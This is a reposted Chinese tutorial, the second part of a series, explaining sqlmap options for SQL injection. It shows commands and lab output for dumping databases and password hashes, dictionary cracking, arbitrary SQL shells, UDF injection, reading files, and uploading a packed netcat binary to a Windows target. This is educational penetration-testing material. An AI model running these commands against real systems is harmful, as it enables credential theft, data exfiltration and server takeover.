1. 程式人生 > >安全測試===sqlmap(貳)轉載

安全測試===sqlmap(貳)轉載

ont qlite 表名 ide score fire 執行 語句 rds

十二、列舉數據

這些參數用於列舉出數據庫管理系統信息、數據結構和數據內容。

1.一鍵列舉全部數據

參數:--all

使用這一個參數就能列舉所有可訪問的數據。但不推薦使用,因為這會發送大量請求,把有用和無用的信息都列舉出來。

2.列舉數據庫管理系統信息

參數:-b或--banner

大多數的現代數據庫管理系統都有一個函數或是環境變量能夠返回數據庫管理系統的版本號和最後的補丁級別以及底層的操作系統信息。 通常這個函數是version()、環境變量是@@version,當然要看目標數據庫管理系統了。使用參數“-b”或“--banner”來列舉數據庫管理系統的這一信息。

下例中的數據庫是Oracle:

  python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int.php?id=1" --banner

部分輸出為:

  [09:54:30] [INFO] fetching banner
  web application technology: PHP 5.2.6, Apache 2.2.9
  back-end DBMS: Oracle
  banner: ‘Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod‘

下例中的數據庫是Mysql:

  python sqlmap.py -u "http://192.168.56.102/user.php?id=1" --banner

部分輸出為:

  [09:56:32] [INFO] fetching banner
  back-end DBMS operating system: Linux Ubuntu
  back-end DBMS: MySQL >= 5.0
  banner:    ‘5.5.50-0ubuntu0.14.04.1‘

3.列舉當前用戶

參數:--current-user

使用這一參數有可能將執行SQL語句的用戶列舉出來。

4.列舉當前數據庫

參數:--current-db

使用這一參數有可能將WEB應用連接的數據庫名列舉出來。

5.列舉服務器主機名

參數:--hostname

使用這一參數有可能將數據庫管理系統所在計算機的主機名列舉出來,如:

  python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --\

hostname

部分輸出如下:

  [xx:xx:04] [INFO] fetching server hostname
  [xx:xx:04] [INFO] retrieved: debian-5.0-i386
  hostname: ‘debian-5.0-i386‘

6.檢測當前用戶是否是管理員

參數:--is-dba

使用這一參數有可能能夠檢測當前用戶是否是管理員,若是管理員則返回True,否則返回False。如:

  python sqlmap.py -u "http://192.168.56.102/user.php?id=1" --is-dba

部分輸出為:

  [10:05:16] [INFO] testing if current user is DBA
  [10:05:16] [INFO] fetching current user
  [10:05:16] [WARNING] reflective value(s) found and filtering out
  current user is DBA:    True

7.列舉數據庫管理系統中的用戶

參數:--users

當前用戶有讀取包含了數據庫管理系統中用戶信息的系統表的權限時使用這一參數可以列舉數據庫管理系統中的用戶。

8.列舉並破解數據庫管理系統用戶密碼Hash值

參數:--passwords

當前用戶有讀取包含了數據庫管理系統中用戶密碼Hash值的系統表的權限時使用這一參數可以列舉數據庫管理系統中用戶密碼Hash值。 Sqlmap會先列舉用戶,再列舉用戶密碼Hash值。

下面是一個以PostgreSQL為目標的例子:

  python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -v 1

部分輸出如下所示:

  back-end DBMS: PostgreSQL
  [hh:mm:38] [INFO] fetching database users password hashes
  do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
  [hh:mm:42] [INFO] using hash method: ‘postgres_passwd‘
  what‘s the dictionary‘s location? [/software/sqlmap/txt/wordlist.txt]
  [hh:mm:46] [INFO] loading dictionary from: ‘/software/sqlmap/txt/wordlist.txt‘
  do you want to use common password suffixes? (slow!) [y/N] n
  [hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)
  [hh:mm:49] [INFO] found: ‘testpass‘ for user: ‘testuser‘
  [hh:mm:50] [INFO] found: ‘testpass‘ for user: ‘postgres‘
  database management system users password hashes:
  [*] postgres [1]:
    password hash: md5d7d880f96044b72d0bba108ace96d1e4
    clear-text password: testpass
  [*] testuser [1]:
    password hash: md599e5ea7a6f7c3269995cba3927fd0093
    clear-text password: testpass

Sqlmap不僅會列舉出密碼Hash,還會解析密碼Hash格式,並詢問用戶是否要通過密碼字典的方式破解Hash值尋找出明文密碼。

若想只枚舉特定用戶的密碼使用參數“-U”指定用戶,可用“CU”來代表當前用戶,如:

  python sqlmap.py -u "http://192.168.56.102/user.php?id=1" --password -U CU

部分輸出如下:

  database management system users password hashes:
  [*] root [1]:
      password hash: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
      clear-text password: root

9.列舉數據庫管理系統的用戶權限

參數:--privileges

當前用戶有讀取包含了數據庫管理系統中用戶信息的系統表的權限時使用這一參數可以列舉數據庫管理系統中用戶的權限。通過用戶權限可以判斷哪些用戶是管理員。

若想只枚舉特定用戶的權限使用參數“-U”指定用戶,可用“CU”來代表當前用戶。

若目標是微軟的SQL Server,這一參數會列出每個用戶是否是管理員而不列出每個用戶的具體權限。

10.列舉數據庫管理系統的用戶角色

參數:--roles

當前用戶有讀取包含了數據庫管理系統中用戶信息的系統表的權限時使用這一參數可以列舉數據庫管理系統中用戶的角色。

若想只枚舉特定用戶的角色使用參數“-U”指定用戶,可用“CU”來代表當前用戶。

官方手冊上說只有目標數據庫管理系統是Oracle時這一功能才可用,但我在Mysql中測試也是可用的。

11.列舉數據庫管理系統中的所有數據庫

參數:--dbs

當前用戶有讀取包含了數據庫管理系統中可用數據庫信息的系統表的權限時使用這一參數可以列舉數據庫管理系統中所有數據庫。

12.列舉數據庫數據庫的所有表

參數:--tables、--exclude-sysdbs和-D

當前用戶有讀取包含了數據庫管理系統中可用數據庫中數據表信息的系統表的權限時使用參數“--tables”可以列舉用參數“-D”指定的數據庫中的所有數據表。 若沒有用參數“-D”指定數據庫,只使用參數“--tables”會列舉所有數據庫中所有表。如:

  python sqlmap.py -u "http://192.168.56.102/user.php?id=1" -D DBName --tables

使用參數“--exclude-sysdbs”可排除系統數據庫。在Oracle中要指定TABLESPACE_NAME而不是數據庫名。

13.列舉數據表的所有列

參數:--columns、-C、-T和-D

如權限允許,使用參數“--columns”可以列出用“-D”指定的數據庫中用“-T”指定的表中的所有列的名字和數據類型。

若沒有指定數據庫則會默認使用當前數據庫。還可以用“-C”指定感興趣的某幾列這樣就不用列出所有列來。

下面是以SQLite為目標的例子:

  python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" --columns -D testdb -T users

部分輸出如下:

  Database: SQLite_masterdb
  Table: users
  [3 columns]
  +---------+---------+
  | Column | Type     |
  +---------+---------+
  | id      | INTEGER |
  | name    | TEXT    |
  | surname | TEXT    |
  +---------+---------+

在PostgreSQL中,數據庫的名字一定是“public”或者是某個系統表 。因為在PostgreSQL中只能列舉當前數據庫或系統數據庫中數據,而WEB應用連接的數據庫別名總是“public”。

十三、列舉數據庫管理系統的模式

參數:--schema和--exclude-sysdbs

用戶可用此選項列舉數據庫管理系統的模式。模式列表包含所有數據庫、表、列、觸發器和他們各自的類型。 同樣地,可使用參數“--exclude-sysdbs”排除系統數據庫。

下面是的例子測試對象是Mysql:

部分輸出如下:

[...]
Database: mysql
Table: procs_priv
[8 columns]
+--------------+----------------------------------------+
| Column       | Type                                   |
+--------------+----------------------------------------+
| Timestamp    | timestamp                              |
| User         | char(16)                               |
| Db           | char(64)                               |
| Grantor      | char(77)                               |
| Host         | char(60)                               |
| Proc_priv    | set(‘Execute‘,‘Alter Routine‘,‘Grant‘) |
| Routine_name | char(64)                               |
| Routine_type | enum(‘FUNCTION‘,‘PROCEDURE‘)           |
+--------------+----------------------------------------+
[...]
Database: mysql
Table: ndb_binlog_index
[7 columns]
+-----------+---------------------+
| Column    | Type                |
+-----------+---------------------+
| Position  | bigint(20) unsigned |
| deletes   | bigint(20) unsigned |
| epoch     | bigint(20) unsigned |
| File      | varchar(255)        |
| inserts   | bigint(20) unsigned |
| schemaops | bigint(20) unsigned |
| updates   | bigint(20) unsigned |
+-----------+---------------------+

15.列舉表中數據條數

參數:--count

有時我們只想知道有多少數據而不想知道具體的數據內容,此時就可以使用該參數。如:

  python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --count -D testdb

部分輸出如下:

  Database: testdb
  +----------------+---------+
  | Table          | Entries |
  +----------------+---------+
  | dbo.users      | 4       |
  | dbo.users_blob | 2       |
  +----------------+---------+

16.列舉表中數據

參數:--dump、-C、-T、-D、--start、--stop和--where

權限允許時可以列舉表中數據。用參數“-D”指定數據庫,用參數“-T”指定數據表,用參數“-C”指定目標列。 若只指定了數據表而沒有指定數據庫則默認使用當前數據庫。若沒有指定列則列舉表中全部列。

下例是以Firebird為目標:

  python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1" --dump -T users

部分輸出如下:

  Database: Firebird_masterdb
  Table: USERS
  [4 entries]
  +----+--------+------------+
  | ID | NAME   | SURNAME    |
  +----+--------+------------+
  | 1 | luther | blisset     |
  | 2 | fluffy | bunny       |
  | 3 | wu     | ming        |
  | 4 | NULL   | nameisnull  |
  +---+--------+-------------+

只使用參數“--dump”和“-D”可以一次性列舉整個數據庫中所有數據。

Sqlmap會自動將參數“--dump”列舉的數據保存到CSV格式文件中,文件具體路徑會在Sqlmap的輸出中給出,如:

  python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" -D DSSchool --dump

部分輸出為:

  [11:15:27] [INFO] analyzing table dump for possible password hashes
  Database: DSSchool
  Table: T_SCORESYSTEMTEACHERS
  [2 entries]
  +-----+----------+-------+---------+----------+
  | AGE | NAME     | TITLE | ACCOUNT | PASSWORD |
  +-----+----------+-------+---------+----------+
  | 21  | neo      | ??    | 001     | 001      |
  | 31  | morphine | ??    | 002     | 002      |
  +-----+----------+-------+---------+----------+

  [11:15:27] [INFO] table ‘DSSchool.T_SCORESYSTEMTEACHERS‘ dumped to CSV file ‘/home/werner/.sqlmap/output/192.168.56.102/dump/DSSchool/T_SCORESYSTEMTEACHERS.csv‘

截取的輸出中最後一行便是CSV文件保存的路徑。

若只想列舉部分數據可以使用參數“--start”和“--stop”。如只想列舉第一條數據可以添加“--stop 1”, 只想列舉第二和第三條數據可以添加“--start 1 --stop 3”,可見這是一個左開右閉區間。 區間範圍僅在盲註中有效,因為在基於錯誤信息的註入和聯合查詢註入中區間範圍會被忽略。

除了用區間範圍限制列舉的數據外,還可以用“--where”參數來限制列舉的數據。 “--where”參數會被Sqlmap轉換成WHERE子句,如“--where id>3”會只列舉列id的值大於3的數據。

如你所見,Sqlmap十分靈活。可以囫圇地列舉整個數據庫,也可以細致地在表中選擇列,在列中又選擇特定數據。

17.列舉所有數據庫所有表中所有數據

參數:--dump-all和--exclude-sysdbs

使用參數“--dump-all”可列舉所有數據庫所有表中所有數據。同樣地,可使用參數“--exclude-sysdbs”排除系統數據庫。

註意微軟SQL Server的master數據庫不屬於系統數據庫,因為有些管理員會在這個數據庫中存儲用戶數據。

18.在數據庫、表、列中搜索

參數:--search、-C、-T和-D

可以搜索數據庫名,在所有數據庫中搜索表名,在所有數據庫的所有表中搜索列名。

參數“--search”要和下列參數之一配合使用:

  • -C:後跟以逗號分隔的列名,在整個數據庫管理系統中搜索
  • -T:後跟以逗號分隔的表名,在整個數據庫管理系統中搜索
  • -D:後跟以逗號分隔的庫名,在整個數據庫管理系統中搜索

在搜索時,Sqlmap會詢問用戶進行精確搜索還是包含搜索。 默認為包含搜索,即搜索的字符串包含於結果中就認為命中。 精確搜索要求搜索的字符串與結果完全相等。

19.運行自定義的SQL語句

參數:--sql-query和--sql-shell

這一功能允許執行任意的SQL語句,Sqlmap會自動解析給出的SQL語句,選擇恰當的註入技術並將給出的SQL語句打包到payload中。

如果查詢是個SELECT語句,Sqlmap會返回查詢結果。如果Web應用使用的數據庫管理系統支持多語句查詢,Sqlmap會使用堆註入技術。 但要註意Web應用可能不支持堆查詢,例如PHP使用Mysql時不支持堆查詢,但使用PostgreSQL時支持堆查詢。

下例的目標是SQL Server 2000:

  python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT ‘foo‘" -v 1

部分輸出如下:

  [hh:mm:14] [INFO] fetching SQL SELECT query output: ‘SELECT ‘foo‘‘
  [hh:mm:14] [INFO] retrieved: foo
  SELECT ‘foo‘:
  ‘foo‘
  python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT ‘foo‘, ‘bar‘" -v 2

部分輸出如下:

  [hh:mm:50] [INFO] fetching SQL SELECT query output: ‘SELECT ‘foo‘, ‘bar‘‘
  [hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now
  unpack it into distinct queries to be able to retrieve the output even if we are
  going blind
  [hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS
  VARCHAR(8000)), (CHAR(32)))
  [hh:mm:50] [INFO] retrieved: foo
  [hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
  [hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VA
  RCHAR(8000)), (CHAR(32)))
  [hh:mm:50] [INFO] retrieved: bar
  [hh:mm:50] [DEBUG] performed 27 quer

如你所見,Sqlmap將提供的SQL語句分成了兩個不同的SELECT語句,並分別返回結果。

參數“--sql-shell”提供一個交互式的SQL語句執行環境,支持Tab鍵補全和命令歷史記錄。如:

  python sqlmap.py -u "http://192.168.56.102/user.php?id=1" --sql-shell

部分輸出如下:

  [15:06:47] [INFO] calling MySQL shell. To quit type ‘x‘ or ‘q‘ and press ENTER
  sql-shell> select ‘foo‘;
  [15:07:41] [INFO] fetching SQL SELECT statement query output: ‘select ‘foo‘‘
  select ‘foo‘;:    ‘foo‘
  sql-shell> select password from mysql.user where user=‘root‘;
  [15:07:42] [INFO] fetching SQL SELECT statement query output: ‘select password from mysql.user where user=‘root‘‘
  select password from mysql.user where user=‘root‘; [1]:
  [*] *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
  sql-shell> show tables;
  [15:11:15] [INFO] fetching SQL SELECT statement query output: ‘show tables‘
  [15:11:15] [WARNING] something went wrong with full UNION technique (could be because of limitation on retrieved number of entries)
  show tables; [1]:

十三、UDF註入

參數:--udf-inject

UDF是“user-defined function”的縮寫,UDF是一種針對MySQL和PostgreSQL的高級註入技術,詳情見《Advanced SQL injection to operating system full control》。

可以編譯MySQL或PostgreSQL的共享庫、DLL(Windows)和共享對象(Linux/Unix)並將這些文件在本機上的路徑提供給Sqlmap來進行UDF註入。 Sqlmap會先問一些問題然後上傳UDF文件並創建UDF最後根據問題答案執行UDF。完成UDF註入後,Sqlmap會刪除上傳的UDF文件。

參數:--shared-lib

添加此參數Sqlmap會在運行時詢問共享庫文件路徑。

在Sqlmap安裝目錄的udf目錄中有許多UDF文件,按照DMBS、操作系統、位數和版本歸類,可以直接使用。

十四、訪問文件系統

1.讀取文件

參數:--file-read

當數據庫管理系統是MySQL、PostgreSQL或微軟的SQL Server且當前用戶有讀取文件相關權限時讀取文件是可行的。 讀取的文件既可以是文件文件也可以是二進制文件,Sqlmap會處理好的。下例的目標數據庫管理系統是SQL Server 2005:

  python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther" --file-read "C:/example.exe" -v 1

部分輸出如下:

[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005
[hh:mm:50] [INFO] fetching file: ‘C:/example.exe‘
[hh:mm:50] [INFO] the SQL query provided returns 3 entries
C:/example.exe file saved to:
‘/software/sqlmap/output/192.168.136.129/files/C__example.exe‘

然後查看下載的文件:

  $ ls -l output/192.168.136.129/files/C__example.exe
  -rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C__example.exe
  $ file output/192.168.136.129/files/C__example.exe
  output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit

2.上傳文件

參數:--file-write和--file-dest

當數據庫管理系統是MySQL、PostgreSQL或微軟的SQL Server且當前用戶有寫文件相關權限時上傳文件是可行的。 上傳的文件既可以是文件文件也可以是二進制文件,Sqlmap會處理好的。下例的目標數據庫管理系統是MySQL,上傳了一個二進制的UPX壓縮文件:

  $ file /software/nc.exe.packed
  /software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32-bit
  $ ls -l /software/nc.exe.packed
  -rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed
  $ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" -  -file-write "/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1
  [...]
  [hh:mm:29] [INFO] the back-end DBMS is MySQL
  web server operating system: Windows 2003 or 2008
  web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
  back-end DBMS: MySQL >= 5.0.0
  [...]
  do you want confirmation that the file ‘C:/WINDOWS/Temp/nc.exe‘ has been success
  fully written on the back-end DBMS file system? [Y/n] y
  [hh:mm:52] [INFO] retrieved: 31744
  [hh:mm:52] [INFO] the file has been successfully written and its size is 31744 b
  ytes, same size as the local file ‘/software/nc.exe.packed‘

未完待續...

安全測試===sqlmap(貳)轉載